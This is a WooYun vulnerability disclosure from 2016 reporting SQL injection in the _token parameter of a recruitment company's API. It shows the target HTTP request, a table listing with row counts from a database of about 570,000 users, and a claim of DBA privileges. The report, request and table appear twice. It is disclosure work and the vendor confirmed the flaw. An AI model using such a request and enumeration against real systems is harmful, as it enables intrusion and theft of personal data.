当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0208455

漏洞标题：美差招聘某处存在注入涉及57w会员信息/dba权限

相关厂商：meichai.in

漏洞作者： 路人甲

提交时间：2016-05-18 18:22

修复时间：2016-07-02 19:10

公开时间：2016-07-02 19:10

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-05-18： 细节已通知厂商并且等待厂商处理中
2016-05-18： 厂商已经确认，细节仅向厂商公开
2016-05-28： 细节向核心白帽子及相关领域专家公开
2016-06-07： 细节向普通白帽子公开
2016-06-17： 细节向实习白帽子公开
2016-07-02： 细节向公众公开

简要描述：

上海美差网络科技有限公司，专注于基层岗位人才服务（服务员、导购、配送、仓储物流、工厂普工、前台客服销售行政等），公司总部位于上海市。
　　公司使命：帮助四亿基层同胞找到称心的工作，让生活更美好。
上海美差网络科技有限公司主要产品有：美差招聘、每才人力、美差钱包和美小保。
　　“美差招聘”是一款移动互联网招聘软件，雇主通过美差人工审核后即可线上发布“面试会”，求职者可以直接报名并按照“面试会”的时间准时到场面试，提高企业招聘效率和候选人的求职效率。
　　“每才人力”为雇主企业提供招聘、人事外包、全风险岗位外包等全套的灵活用工方案，减少雇主企业用工成本。
　　“美小保”是由美差招聘联合众安保险独家推出的针对基层岗位员工的产品，包括雇主责任险、员工意外险已经两者的迷你组合。

详细说明：

POST /comment/goodclubcomments HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Host: api.meichai.in
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/2.5.0
_appid=1001&_token=&_ts=1463160171653&_sn=2df8cc98568adc7b0384ea1e9c3b23ab&branch=200029332&page=1&count=20&status=1


_token参数存在注入

1.png


2.png


Database: meichai
+--------------------------+---------+
| Table                    | Entries |
+--------------------------+---------+
| sys_infcall              | 8260188 |
| sys_applog               | 7762009 |
| cbd_searchhist           | 1799727 |
| cbd_assignhist           | 1346133 |
| cbd_objevent             | 710870  |
| cbd_memo                 | 574219  |
| acc_user                 | 571655  |
| acc_userlog              | 571646  |
| bill_user                | 571184  |
| cbd_statushist           | 549480  |
| sys_inflog               | 540448  |
| acc_userverify           | 523822  |
| acc_userbasic            | 523821  |
| bill_userpointtrans      | 376192  |
| acc_peaccesslog          | 360407  |
| cbd_projeventcount       | 333735  |
| cbd_projevent            | 329100  |
| cbd_projeventbr          | 314414  |
| cbd_objtag               | 288710  |
| cbd_msglist              | 257768  |
| acc_userbind             | 256396  |
| cbd_projeventjob         | 250867  |
| acc_session              | 237430  |
| sys_kv                   | 207435  |
| sys_appdownlog           | 200221  |
| acc_userwant             | 196070  |
| acc_usercontact          | 188393  |
| cbd_mobileverify         | 182141  |
| acc_userwantfunc         | 179644  |
| acc_accesslog            | 165719  |
| cbd_message              | 157249  |
| cbd_projeventcontact     | 154800  |
| cbd_assign               | 142166  |
| acc_userwantarea         | 135569  |
| acc_session_copy         | 123815  |
| cbd_companyaddr          | 119438  |
| zmobiletemp1             | 112083  |
| sys_actcode              | 111029  |
| cbd_projeventbrcontact   | 108188  |
| cbd_ordergoods           | 101967  |
| cbd_orderhead            | 101967  |
| cbd_userpointtask        | 82465   |
| sms_sendqueue            | 65537   |
| sms_phonedetail          | 64551   |
| cbd_companycontact       | 62743   |
| acc_userrate             | 55394   |
| bill_userpoint           | 53224   |
| acc_staffbasic           | 47378   |
| cbd_company              | 47027   |
| cbd_projrecom            | 43469   |
| cbd_file                 | 37226   |
| cbd_objfile              | 36013   |
| bill_usertrans           | 33633   |
| cbd_todo                 | 32509   |
| bill_userpointbak        | 31268   |
| acc_sharelog             | 27488   |
| cbd_project              | 26408   |
| t2                       | 18695   |
| cbd_companyextra         | 17738   |
| bill_kttrans             | 16715   |
| sys_statkv               | 14815   |
| bill_usertrans8          | 13636   |
| cbd_companycommentreply  | 11772   |
| cbd_pushqueue2           | 11405   |
| cbd_job                  | 7272    |
| cbd_apply                | 7020    |
| cbd_companysalarydet     | 6973    |
| bill_companytrans8       | 6884    |
| cbd_apply8               | 6818    |
| cbd_exchangecode         | 6161    |
| cbd_companycommentreward | 5903    |
| cbd_payqueuelog          | 5897    |
| cbd_companycommentlike   | 5819    |
| cbd_payqueue             | 5690    |
| sys_huaming              | 4500    |
| sys_nuoyaarea            | 3512    |
| sys_area                 | 3326    |
| sys_bizarea              | 3282    |
| cbd_userlotstat          | 2666    |
| cbd_exportlog            | 2645    |
| cbd_nuoyaverify          | 2543    |
| acc_usermobile8          | 2433    |
| cbd_userexchangehist     | 2359    |
| acc_userbank8            | 2241    |
| t1                       | 2166    |
| acc_usercompany8         | 2148    |
| acc_user8                | 2128    |
| acc_userset8             | 2128    |
| bill_user8               | 2128    |
| adv_applog               | 1690    |
| cbd_cv                   | 1541    |
| cbd_projrecomdet         | 1531    |
| sys_industryfunc         | 1321    |
| cbd_companysalaryreport  | 1249    |
| sys_feedback             | 1178    |
| cbd_companycomment       | 1157    |
| cbd_companycommentstat   | 1157    |
| sys_bankcardmap          | 1085    |
| agent_invite_member      | 930     |
| cbd_projeventprom        | 918     |
| cbd_companyrate          | 817     |
| cbd_companysalarylevel   | 811     |
| sys_gencode              | 690     |
| sys_funcsalary           | 567     |
| cbd_action               | 410     |
| sys_metro                | 380     |
| cbd_channelimport        | 334     |
| acc_userbank             | 259     |
| cbd_companyimport        | 247     |
| sys_applogdic            | 217     |
| sys_function             | 214     |
| zmobiletemp2             | 198     |
| cbd_actioncount          | 197     |
| sys_menu                 | 184     |
| cbd_projeventreport      | 181     |
| acc_userpush             | 164     |
| sys_menu111              | 148     |
| cbd_companysalaryimport  | 124     |
| cbd_jobhist              | 119     |
| cbd_projeventtime        | 119     |
| sys_industry             | 101     |
| cbd_pushqueue            | 96      |
| cbd_companysalary        | 92      |
| acc_userset              | 87      |
| cbd_talentpool           | 81      |
| cbd_qrcode               | 79      |
| sys_template             | 74      |
| acc_roleresource         | 65      |
| sys_ids3                 | 64      |
| bill_kttrans8            | 56      |
| sys_appversion           | 47      |
| sys_option               | 46      |
| sys_menu2                | 42      |
| cbd_citytag              | 40      |
| sys_menu3                | 35      |
| sys_areamap              | 31      |
| acc_qrlog                | 26      |
| sys_ids                  | 24      |
| sys_partfunction         | 21      |
| acc_userpush8            | 20      |
| cbd_recom                | 19      |
| sys_bankmap              | 18      |
| sys_nuoyabank            | 18      |
| acc_session8             | 17      |
| bill_company8            | 17      |
| cbd_companypayset        | 17      |
| acc_role                 | 15      |
| acc_userwork             | 15      |
| cbd_companycommentreport | 15      |
| sys_ids2                 | 14      |
| cbd_companygencode       | 12      |
| sys_wblist               | 12      |
| cbd_pointrule            | 10      |
| cbd_branchservice        | 8       |
| cbd_goods                | 8       |
| cbd_mcservice            | 8       |
| cbd_pointtask            | 8       |
| cbd_companyapp           | 6       |
| sms_batch                | 5       |
| sms_theme                | 5       |
| sms_sendrecord           | 4       |
| adv_schedule             | 2       |
| adv_scheduledetail       | 2       |
| cbd_projsalary           | 2       |
| sys_term                 | 2       |
| adv_client               | 1       |
| adv_place                | 1       |
| bill_kt                  | 1       |
| bill_kt8                 | 1       |
| cbd_activitytheme        | 1       |
+--------------------------+---------+


DBA权限

3.png

漏洞证明：

POST /comment/goodclubcomments HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Host: api.meichai.in
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/2.5.0
_appid=1001&_token=&_ts=1463160171653&_sn=2df8cc98568adc7b0384ea1e9c3b23ab&branch=200029332&page=1&count=20&status=1


_token参数存在注入

1.png


2.png


Database: meichai
+--------------------------+---------+
| Table                    | Entries |
+--------------------------+---------+
| sys_infcall              | 8260188 |
| sys_applog               | 7762009 |
| cbd_searchhist           | 1799727 |
| cbd_assignhist           | 1346133 |
| cbd_objevent             | 710870  |
| cbd_memo                 | 574219  |
| acc_user                 | 571655  |
| acc_userlog              | 571646  |
| bill_user                | 571184  |
| cbd_statushist           | 549480  |
| sys_inflog               | 540448  |
| acc_userverify           | 523822  |
| acc_userbasic            | 523821  |
| bill_userpointtrans      | 376192  |
| acc_peaccesslog          | 360407  |
| cbd_projeventcount       | 333735  |
| cbd_projevent            | 329100  |
| cbd_projeventbr          | 314414  |
| cbd_objtag               | 288710  |
| cbd_msglist              | 257768  |
| acc_userbind             | 256396  |
| cbd_projeventjob         | 250867  |
| acc_session              | 237430  |
| sys_kv                   | 207435  |
| sys_appdownlog           | 200221  |
| acc_userwant             | 196070  |
| acc_usercontact          | 188393  |
| cbd_mobileverify         | 182141  |
| acc_userwantfunc         | 179644  |
| acc_accesslog            | 165719  |
| cbd_message              | 157249  |
| cbd_projeventcontact     | 154800  |
| cbd_assign               | 142166  |
| acc_userwantarea         | 135569  |
| acc_session_copy         | 123815  |
| cbd_companyaddr          | 119438  |
| zmobiletemp1             | 112083  |
| sys_actcode              | 111029  |
| cbd_projeventbrcontact   | 108188  |
| cbd_ordergoods           | 101967  |
| cbd_orderhead            | 101967  |
| cbd_userpointtask        | 82465   |
| sms_sendqueue            | 65537   |
| sms_phonedetail          | 64551   |
| cbd_companycontact       | 62743   |
| acc_userrate             | 55394   |
| bill_userpoint           | 53224   |
| acc_staffbasic           | 47378   |
| cbd_company              | 47027   |
| cbd_projrecom            | 43469   |
| cbd_file                 | 37226   |
| cbd_objfile              | 36013   |
| bill_usertrans           | 33633   |
| cbd_todo                 | 32509   |
| bill_userpointbak        | 31268   |
| acc_sharelog             | 27488   |
| cbd_project              | 26408   |
| t2                       | 18695   |
| cbd_companyextra         | 17738   |
| bill_kttrans             | 16715   |
| sys_statkv               | 14815   |
| bill_usertrans8          | 13636   |
| cbd_companycommentreply  | 11772   |
| cbd_pushqueue2           | 11405   |
| cbd_job                  | 7272    |
| cbd_apply                | 7020    |
| cbd_companysalarydet     | 6973    |
| bill_companytrans8       | 6884    |
| cbd_apply8               | 6818    |
| cbd_exchangecode         | 6161    |
| cbd_companycommentreward | 5903    |
| cbd_payqueuelog          | 5897    |
| cbd_companycommentlike   | 5819    |
| cbd_payqueue             | 5690    |
| sys_huaming              | 4500    |
| sys_nuoyaarea            | 3512    |
| sys_area                 | 3326    |
| sys_bizarea              | 3282    |
| cbd_userlotstat          | 2666    |
| cbd_exportlog            | 2645    |
| cbd_nuoyaverify          | 2543    |
| acc_usermobile8          | 2433    |
| cbd_userexchangehist     | 2359    |
| acc_userbank8            | 2241    |
| t1                       | 2166    |
| acc_usercompany8         | 2148    |
| acc_user8                | 2128    |
| acc_userset8             | 2128    |
| bill_user8               | 2128    |
| adv_applog               | 1690    |
| cbd_cv                   | 1541    |
| cbd_projrecomdet         | 1531    |
| sys_industryfunc         | 1321    |
| cbd_companysalaryreport  | 1249    |
| sys_feedback             | 1178    |
| cbd_companycomment       | 1157    |
| cbd_companycommentstat   | 1157    |
| sys_bankcardmap          | 1085    |
| agent_invite_member      | 930     |
| cbd_projeventprom        | 918     |
| cbd_companyrate          | 817     |
| cbd_companysalarylevel   | 811     |
| sys_gencode              | 690     |
| sys_funcsalary           | 567     |
| cbd_action               | 410     |
| sys_metro                | 380     |
| cbd_channelimport        | 334     |
| acc_userbank             | 259     |
| cbd_companyimport        | 247     |
| sys_applogdic            | 217     |
| sys_function             | 214     |
| zmobiletemp2             | 198     |
| cbd_actioncount          | 197     |
| sys_menu                 | 184     |
| cbd_projeventreport      | 181     |
| acc_userpush             | 164     |
| sys_menu111              | 148     |
| cbd_companysalaryimport  | 124     |
| cbd_jobhist              | 119     |
| cbd_projeventtime        | 119     |
| sys_industry             | 101     |
| cbd_pushqueue            | 96      |
| cbd_companysalary        | 92      |
| acc_userset              | 87      |
| cbd_talentpool           | 81      |
| cbd_qrcode               | 79      |
| sys_template             | 74      |
| acc_roleresource         | 65      |
| sys_ids3                 | 64      |
| bill_kttrans8            | 56      |
| sys_appversion           | 47      |
| sys_option               | 46      |
| sys_menu2                | 42      |
| cbd_citytag              | 40      |
| sys_menu3                | 35      |
| sys_areamap              | 31      |
| acc_qrlog                | 26      |
| sys_ids                  | 24      |
| sys_partfunction         | 21      |
| acc_userpush8            | 20      |
| cbd_recom                | 19      |
| sys_bankmap              | 18      |
| sys_nuoyabank            | 18      |
| acc_session8             | 17      |
| bill_company8            | 17      |
| cbd_companypayset        | 17      |
| acc_role                 | 15      |
| acc_userwork             | 15      |
| cbd_companycommentreport | 15      |
| sys_ids2                 | 14      |
| cbd_companygencode       | 12      |
| sys_wblist               | 12      |
| cbd_pointrule            | 10      |
| cbd_branchservice        | 8       |
| cbd_goods                | 8       |
| cbd_mcservice            | 8       |
| cbd_pointtask            | 8       |
| cbd_companyapp           | 6       |
| sms_batch                | 5       |
| sms_theme                | 5       |
| sms_sendrecord           | 4       |
| adv_schedule             | 2       |
| adv_scheduledetail       | 2       |
| cbd_projsalary           | 2       |
| sys_term                 | 2       |
| adv_client               | 1       |
| adv_place                | 1       |
| bill_kt                  | 1       |
| bill_kt8                 | 1       |
| cbd_activitytheme        | 1       |
+--------------------------+---------+


DBA权限

3.png

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2016-05-18 19:06

厂商回复：

感谢提交者

最新状态：

暂无

漏洞评价：

评价